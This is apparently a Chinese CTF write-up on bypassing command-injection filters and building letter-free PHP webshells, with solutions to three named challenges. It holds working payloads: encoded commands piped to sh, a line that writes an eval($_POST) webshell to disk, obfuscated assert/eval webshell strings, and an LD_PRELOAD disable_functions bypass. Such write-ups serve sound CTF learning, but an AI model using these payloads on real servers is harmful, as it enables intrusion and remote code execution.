前言:
做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来。
0x00:一些绕过姿势
在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:
- 空格
- 命令分隔符
- 关键字
- 限制长度
- 限制回显
等等,这次就通过题目将这些如何绕过的知识给记录下来。
空格绕过
1 2 3 4 5 | 常见的绕过符号有: $IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、 #$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 |
测试一下:
命令分隔
1 2 3 4 5 6 7 | %0a --换行符,需要php环境 %0d --回车符,需要php环境 ; --在 shell 中,是”连续指令” & --不管第一条命令成功与否,都会执行第二条命令 && --第一条命令成功,第二条才会执行 | --第一条命令的结果,作为第二条命令的输入 || --第一条命令失败,第二条才会执行 |
例如ctfhub这道题就过滤了命令分割符,用%0a便可以分隔命令进行查看
1 | 127.0.0.1%0als |
关键词过滤
假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做
拼接绕过
1 2 3 4 5 6 | #执行ls命令: a=l;b=s;$a$b #cat flag文件内容: a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat test文件内容 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test |
编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 | #base64 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag #oct/字节 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag #i也可以通过这种方式写马 内容为<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php |
单引号和双引号绕过
1 2 | c'a't test c"a"t test |
反斜杠绕过
1 | ca\t test |
通过$PATH绕过
1 2 3 4 5 6 | #echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成 #当执行程序时,shell自动跟据PATH变量的值去搜索该程序 #shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索 echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin `echo $PATH| cut -c 8,9`t test |
通配符绕过
- […]表示匹配方括号之中的任意一个字符
- {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
- {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
1 2 3 4 | cat t?st cat te* cat t[a-z]st cat t{a,b,c,d,e,f}st |
1 2 | #linux中查看文件内容的命令 cat、tac、more、less、head、tail、nl、sed、sort、uniq |
内联执行
1 | 内联执行将反引号内命令的输出作为输入执行,类似的还有$(command) |
无字母数字构造Webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?> |
类似这种,过滤了字符和数字,可以通过以下几种方法进行绕过
方法一:异或
1 2 3 4 5 6 | var_dump('#'^'|'); //得到字符 _ var_dump('.'^'~'); //得到字符 P var_dump('/'^'`'); //得到字符 0 var_dump('|'^'/'); //得到字符 S var_dump('{'^'/'); //得到字符 T $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST' |
可以简单编写一个脚本来查看谁和谁异或得到的结果是我们想要的
1 2 3 4 5 6 | if __name__ == "__main__": for i in range(0,127): for j in range(0,127): result=i^j if(chr(result) is '想要的字符'): print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result)) |
websell
1 2 3 | $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=phpinfo() 或 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=phpinfo() |
如果过滤了&_等字符
方法二:取反
1 2 3 4 5 6 | <?php $a = "phpinfo"; echo urlencode(~$a); ?> #%8F%97%8F%96%91%99%90 (~%8F%97%8F%96%91%99%90)(); |
当然还有其他方法,可以看p神师傅写的
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
0x01:CTF考察命令执行的题
[GXYCTF2019]Ping Ping Ping
——base编码、颠倒顺序、内联执行
有两个文件,先查看一下index.php
1 | ?ip=1;cat index.php |
出现fxck your space!,所以空格被过滤掉了,测试发现
过滤了很多,而且结合
解法一:
虽然过滤了bash,但没过滤sh,可以使用下面的方法:
1 | echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag |
payload:
1 2 3 4 | 1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh #sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash #Y2F0IGZsYWcucGhw #cat flag.php |
解法二:
既然flag.php无法直接绕过去,就使用拼接的方法
1 2 3 | if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); 匹配一个字符串中,是否按顺序出现过flag四个字母 |
如果是按照往常的顺序去拼接,是绕不过去的
1 | ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php |
所以可以颠倒一下顺序
payload:
1 2 3 | ?ip=1;a=ag;b=fl;cat$IFS$1$b$a.php #也可以 ?ip=1;a=lag;cat$IFS$9f$a.php |
解法三:
内联执行将反引号内命令的输出作为输入执行。
1 | ?ip=1;cat$IFS$9`ls` |
直接爆出来两个文件的内容
[极客大挑战 2019]RCE ME
——无字母数字构造webshell、绕过disable_functions
这串代码过滤了全部的字母和数字,之前的绕过方法都不起作用了,就只能编写一个不使用数字和字母的webshell。
在构造前,要先了解一下php5\php7的特性
1 2 3 4 5 | 1.phpinfo() #php5、php7可执行 2.(phpinfo)() #php7可执行 3.php5中,assert是一个函数,可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。 4.php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。 5.在php7的环境中,可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入 |
使用URL编码的原因是,在进行“~”(取反)运算时,经常会生成不可见字符。
1 2 3 4 5 | <?php $a = "phpinfo"; echo urlencode(~$a); ?> %8F%97%8F%96%91%99%90 |
查看一下
1 2 | ?code=(~%8F%97%8F%96%91%99%90)(); #发现是可以执行的,所以是php7 |
这里之所以正则没有检测到,是因为后端自动进行了解码,解码为非字母和数字字符,然后eval再执行了取反还原为phpinfo,所以可以绕过去
过滤了很多常用的执行系统命令的函数,先尝试读取系统目录,可以使用scandir函数
1 2 3 4 5 6 7 8 9 | print_r(scandir('./')); print_r #%8F%8D%96%91%8B%A0%8D (~%8F%8D%96%91%8B%A0%8D)(); scandir #%8C%9C%9E%91%9B%96%8D (~%8C%9C%9E%91%9B%96%8D)(('./')); #payload: (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./"))); |
读取一下根目录发现
1 2 3 4 5 6 7 8 9 10 11 12 | 利用readfile来进行读取文件 readfile('/flag') readfile #%8D%9A%9E%9B%99%96%93%9A (~%8D%9A%9E%9B%99%96%93%9A)(); /flag #%D0%99%93%9E%98 #payload: (~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98)); #读取flag无回显 (~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98)); #读取readflag有回显 |
那接下来只能传马连接了,fuzz一下发现eval\assert函数都没有被ban
1 2 3 4 | (~%9A%89%9E%93)((~%BE%8D%8D%9E%86)[(~%9E)]); #eval($_POST['a']); (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]); #assert($_POST['a']); |
但是没有回显
1 2 3 4 5 6 7 8 9 10 11 | #既然上面的不行,可以将eval\assert函数结合使用一下 <?php $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST[a]))'; $d=urlencode(~$c); echo $d; #payload: (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6); |
连接成功,接下来就上蚁剑
但是没有权限读,一般根目录有一个/readflag都是让通过执行命令来拿flag,/readflag会有一个s权限 Linux 文件权限与ACL,所以这里需要绕过这个disable_functions来执行命令。
看了师傅们的博客,可以通过比较好用的环境变量
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://www.freebuf.com/articles/web/192052.html
具体介绍可以自行查看,这个知识也很重要,之后再记录一下
重新再构造一下payload,可以使用常用的异或payload
1 2 3 | $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__= 或 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__= |
再按照EXP,将文件上传到/var/tmp,在语句中包含一下上传的php文件
1 | ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so |
即可得到flag
从这道题真的能学到特别多的东西,尤其是无字符数字怎么样去构造出想要的字符串
[CISCN 2019 初赛]Love Math
——利用题目白名单进行异或
这道题和上面的就不同了。过滤了一些符号,关键是最后要从输入的内容种提取跟白名单进行对比,如果不是白名单的函数再会报错,所以这道题不能再去网上找通用绕过payload了,就算找了也没用。
唯一的思路就是利用白名单里面的函数进行异或(^没有被过滤),得到我们想要获取的字符串
白名单中有dechex、decoct等,这些没被过滤,可以写一个脚本让白名单里面的函数和转换后的数字进行异或,得到结果
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; foreach ($whitelist as $white){ for($a=1;$a<999999;$a++) { $result = $white^dechex($a);#使用decoct也可以 if(strpos($result,'_POST') === 0){ echo $white." ".$a; echo $result; echo "\n"; } } } # hexdec 481137_POST |
构造出来的_POST,[]被过滤了,可以使用{}来代替。
payload:
1 2 3 4 | ?c=$log=${hexdec^dechex(481137)};$log{cos}($log{abs}); #这里找的变量名必须是白名单里面的,最好选取短一些的函数,因为有长度限制的 POST DATA: cos=system&abs=ls |
接下来查看flag就可以了
除此之外,还有限制长度的,如七字、五字绕过等等,这次就先总结到这里,下次再单独总结一篇关于长度被限制的。
参考博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%e5%87%bd%e6%95%b0%e7%89%b9%e6%80%a7%e5%88%86%e6%9e%90/
https://www.e-learn.cn/content/php/1385759